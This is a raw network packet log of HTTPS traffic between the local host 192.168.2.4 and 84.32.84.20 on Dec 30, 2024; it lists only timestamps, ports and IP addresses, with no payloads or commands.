Dec 30, 2024 21:42:40.526825905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.526843071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.526879072 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.526885033 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.526920080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.526938915 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.538635015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.586416006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.586443901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.586532116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.586549044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.586637020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.586683035 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.612833023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.612865925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.612925053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.612951040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613277912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613303900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613334894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.613343000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613354921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.613389969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.613662958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613677979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613744974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.613751888 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.613790035 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.615784883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.615804911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.615869999 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.615875959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.615926981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616255999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616276026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616332054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616345882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616389990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616564989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616585970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616635084 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616641998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616664886 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616686106 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616827011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616843939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.616939068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.616945028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.617125988 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.698477030 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.715478897 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.715514898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.715548992 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.715559006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.715589046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.715605974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740318060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740339994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740385056 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740391016 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740416050 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740434885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740446091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740474939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740499020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740504026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740525961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740541935 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740775108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740792036 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740837097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740842104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.740864038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.740885019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.741348982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741367102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741410017 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.741415024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741434097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.741446972 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.741642952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741658926 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741699934 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.741704941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741749048 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.741960049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.741976023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.742014885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.742021084 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.742057085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.742289066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.742304087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.742337942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.742343903 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.742367029 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.742383957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.804215908 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.804249048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.804305077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.804330111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.804348946 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.804367065 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829195023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829224110 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829262972 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829269886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829297066 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829315901 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829355955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829407930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829413891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829466105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829601049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829627037 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829652071 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829658985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.829679012 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.829695940 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830214024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830235958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830266953 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830271959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830297947 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830317974 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830542088 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830562115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830590963 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830595970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830620050 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830637932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830857038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830908060 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.830913067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.830969095 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.831135035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.831151009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.831187010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.831209898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.931376934 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.931401968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931427956 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931438923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931540966 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.931551933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931566954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931597948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931726933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.931732893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931742907 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.931798935 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.982125044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.982152939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.982250929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.982269049 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007041931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007075071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007116079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.007145882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007159948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.007160902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007184029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007208109 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.007216930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007241011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.007489920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007509947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007565022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.007572889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007955074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.007970095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008011103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.008022070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008044958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.008317947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008339882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008380890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.008389950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008405924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.008603096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008620024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008654118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.008661032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008693933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.008961916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.008980989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.009022951 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.009051085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.219346046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.267378092 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.483331919 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.486599922 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.539546013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.539578915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.539596081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.539606094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.539689064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.602708101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.602735996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602754116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602763891 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602834940 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602925062 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.602936029 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602952003 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602987051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.602992058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.602999926 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.603044987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.603101969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.603214025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.811337948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.811393976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.882057905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.882087946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.882102013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.882108927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.882169008 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.882179976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.882191896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.882255077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.884830952 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.884845972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.884861946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.884943962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.884947062 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.884954929 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.884965897 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.884990931 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.885087967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.885090113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.885097980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.885133982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.885137081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.885245085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.904853106 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.904877901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.904890060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.905004978 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.907843113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.907847881 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.907857895 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.907879114 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.907896042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.907912970 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.907917023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.907921076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908076048 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.908082962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908099890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908118010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908139944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908162117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.908166885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908188105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.908261061 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.908344984 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.908456087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.908478022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.928694010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.928721905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.928774118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.932157040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942157030 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942182064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942234993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942256927 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942274094 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942301989 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942574978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942595959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942631960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942636967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942658901 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942677021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942833900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942850113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942888021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942893028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.942915916 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.942936897 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943214893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943232059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943285942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943290949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943336964 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943523884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943541050 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943577051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943582058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943604946 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943624020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943787098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943802118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943845034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.943850994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.943887949 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.944066048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.944081068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.944129944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.944134951 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.944180965 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.944379091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.944395065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.944432020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.944437981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:41.944463968 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.944475889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.983186007 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:41.983325958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037244081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037270069 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037318945 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037350893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037379026 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037400007 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037450075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037476063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037513018 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037518978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037543058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037564993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037792921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037810087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037852049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037858009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.037882090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.037903070 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038041115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038057089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038108110 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038114071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038163900 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038397074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038415909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038456917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038464069 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038500071 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:42.038795948 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038814068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:42.038901091 CET	443	49744	84.32.84.20	192.168.2.4
